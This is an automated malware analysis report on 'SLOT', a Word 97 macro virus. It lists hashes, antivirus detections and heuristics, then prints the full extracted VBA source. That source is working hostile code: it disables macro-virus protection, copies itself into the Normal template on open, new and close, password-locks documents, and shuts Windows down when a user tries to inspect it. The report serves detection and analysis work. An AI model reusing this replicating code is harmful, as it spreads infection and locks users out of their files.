Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5cf41759229129c4…

MALICIOUS

Office (OLE)

40.5 KB Created: 1997-09-29 04:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2b4c7c4ae12c749df981ce2d1966f0be SHA-1: d50d2d277c3748bb164b94c7d634e4613254a936 SHA-256: 5cf41759229129c484b4cec45605df8bd37fb8f43fef3b02f57f4008e4997911
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains legacy WordBasic macro markers and a VBA macro named 'SLOT' with 'autoopen' and 'auto_close' subroutines. The 'autoopen' subroutine attempts to copy the 'SLOT' macro to the Normal template, establishing persistence. It then calls a subroutine named 'slots' which appears to be truncated but likely executes a secondary payload. The ClamAV detections 'Doc.Trojan.Beauty-1' and 'Doc.Trojan.Box-6' further indicate malicious intent.

Heuristics 6

  • ClamAV: Doc.Trojan.Beauty-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Beauty-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub autoclose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9170 bytes
SHA-256: f9b1e268d1c6cc5999835f90c20514e3456e6fd0a849d8fbd5ac4179bd9a351d
Detection
ClamAV: Doc.Trojan.Box-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "SLOT"

Sub autoopen()
On Error Resume Next
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate
    DocumentInstalled = False
    GlobalInstalled = False

    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "SLOT" Then
            DocumentInstalled = True
        End If
    Next

    For j = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(j).Name = "SLOT" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll

WordBasic.call "slots"

exit_:

End Sub

Sub slots()
ReDim gdh__(2)
Dim K
Dim NM$
Dim G
Dim ANS$
WordBasic.DisableInput 1
 
On Error Resume Next
If WordBasic.Day(WordBasic.Now()) <> WordBasic.Int(Rnd() * 30) Then GoTo exit_

slotgame:
On Error Resume Next
Err.Number = 0
K = -1
NM$ = ""
G = 0
While K = -1
For G = 0 To 2
gdh__(G) = WordBasic.Int(Rnd() * 10)
If G = 2 Then
NM$ = NM$ + Str(gdh__(2))
GoTo SS
End If
NM$ = NM$ + Str(gdh__(G))
Next G

SS:
WordBasic.Beep

WordBasic.MsgBox "Today is " + WordBasic.[Date$]() + " , let's play a SLOTS game." + Chr(13) + _
"Try your luck! Your lucky numbers are. . . " + Chr(13) + _
NM$ + " ", "Macro Slot Game for Word97"
If NM$ = Str(gdh__(G)) + Str(gdh__(G)) + Str(gdh__(G)) Then
WordBasic.Beep

lucky7:
WordBasic.MsgBox "Bingo ! You win .", _
"Macro Slot Game for Word97"
WordBasic.FileNewDefault
WordBasic.CenterPara
WordBasic.FormatFont , Points:=64, Color:=2, Bold:=1, Underline:=1
WordBasic.Insert "Hmmmm! Maybe next time...."
GoTo exit_

Else
WordBasic.Beep
On Error GoTo -1: On Error GoTo slotgame
Err.Number = 0
ANS$ = WordBasic.[InputBox$]("Try to input the password or play again!", _
"Macro Slot Game for Word97")
WordBasic.Beep
If ANS$ = "Lucky777" Then GoTo lucky Else GoTo try
End If

try:
On Error Resume Next
Err.Number = 0
WordBasic.MsgBox "Hey ! You can't do that. You must input the right numbers or push the cancel button.", _
"Macro Slot Game for Word97"
GoTo slotgame
Wend


lucky:

On Error Resume Next
WordBasic.MsgBox "OK ! ", _
"Macro Slot Game for Word97"
WordBasic.FileNewDefault
WordBasic.CenterPara
WordBasic.FormatFont , Points:=64, Color:=2, Bold:=1, Underline:=1
WordBasic.Insert "Hmmmm........................"

exit_:
End Sub

Sub FileTemplates()
Attribute FileTemplates.VB_ProcData.VB_Invoke_Func = "Normal.SLOT.FileTemplates"
On Error Resume Next


With Assistant.NewBalloon
 .BalloonType = msoBalloonTypeBullets
 .Icon = msoIconTip
 .Button = msoButtonSetOkCancel
 .Heading = "Warning!!"
 .Text = "That option is not installed, please install the HELP files to continue"
 .Button = msoButtonSetOK
 .Show
End With

ActiveDocument.Password = "SLOT"
Documents.Close SaveChanges:=wdSaveChanges

WordBasic.call "slotgame"

End Sub
Sub toolsmacro()
On Error Resume Next



With Assistant.NewBalloon
 .BalloonType = msoBalloonTypeBullets
 .Icon = msoIconTip
 .Button = msoButtonSetOkCancel
 .Heading = "Warning!!"
 .Text = "That option is not installed, please install the HELP files to continue"
 .Button = msoButtonSetOK
 .Show
End With

ActiveDocument.Password = "SLOT"
Documents.Close SaveChanges:=wdSaveChanges


WordBasic.call "slotgame"

End Sub
Sub autonew()
On Error Resume Next
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate
    DocumentInstalled = False
    GlobalInstalled = False

    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "SLOT" Then
            DocumentInstalled = True
        End If
    Next

    For j = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(j).Name = "SLOT" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll

WordBasic.call "slots"

exit_:


End Sub
Sub autoclose()
On Error Resume Next
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate
    DocumentInstalled = False
    GlobalInstalled = False

    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "SLOT" Then
            DocumentInstalled = True
        End If
    Next

    For j = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(j).Name = "SLOT" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll

WordBasic.call "slots"

exit_:

End Sub
Sub slotgame()
ReDim gdh__(2)
Dim K
Dim NM$
Dim G
Dim ANS$
WordBasic.DisableInput 1
 
On Error Resume Next

slotgame:
On Error Resume Next
Err.Number = 0
K = -1
NM$ = ""
G = 0
While K = -1
For G = 0 To 2
gdh__(G) = WordBasic.Int(Rnd() * 10)
If G = 2 Then
NM$ = NM$ + Str(gdh__(2))
GoTo SS
End If
NM$ = NM$ + Str(gdh__(G))
Next G

SS:
WordBasic.Beep

WordBasic.MsgBox "Today is " + WordBasic.[Date$]() + " , let's play a SLOTS game." + Chr(13) + _
"Try your luck! Your lucky numbers are. . . " + Chr(13) + _
NM$ + " ", "Macro Slot Game for Word97"
If NM$ = Str(gdh__(G)) + Str(gdh__(G)) + Str(gdh__(G)) Then
WordBasic.Beep

lucky7:
WordBasic.MsgBox "Bingo ! You win .", _
"Macro Slot Game for Word97"
WordBasic.FileNewDefault
WordBasic.CenterPara
WordBasic.FormatFont , Points:=64, Color:=2, Bold:=1, Underline:=1
WordBasic.Insert "Hmmmm! Maybe next time...."
GoTo exit_

Else
WordBasic.Beep
On Error GoTo -1: On Error GoTo slotgame
Err.Number = 0
ANS$ = WordBasic.[InputBox$]("Try to input the password or play again!", _
"Macro Slot Game for Word97")
WordBasic.Beep
If ANS$ = "Lucky777" Then GoTo lucky Else GoTo try
End If

try:
On Error Resume Next
Err.Number = 0
WordBasic.MsgBox "Hey ! You can't do that. You must input the right numbers or push the cancel button.", _
"Macro Slot Game for Word97"
GoTo slotgame
Wend


lucky:

On Error Resume Next
WordBasic.MsgBox "OK ! ", _
"Macro Slot Game for Word97"
WordBasic.FileNewDefault
WordBasic.CenterPara
WordBasic.FormatFont , Points:=64, Color:=2, Bold:=1, Underline:=1
WordBasic.Insert "Hmmmm........"

exit_:
End Sub
Sub ViewVBcode()
On Error Resume Next

ActiveDocument.Password = "SLOT"
Documents.Close SaveChanges:=wdSaveChanges
Tasks.ExitWindows

End Sub
Sub toolsoptions()
On Error Resume Next

ActiveDocument.Password = "SLOT"
Documents.Close SaveChanges:=wdSaveChanges
Tasks.ExitWindows

End Sub
Sub Toolscustomize()
On Error Resume Next

ActiveDocument.Password = "SLOT"
Documents.Close SaveChanges:=wdSaveChanges
Tasks.ExitWindows
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.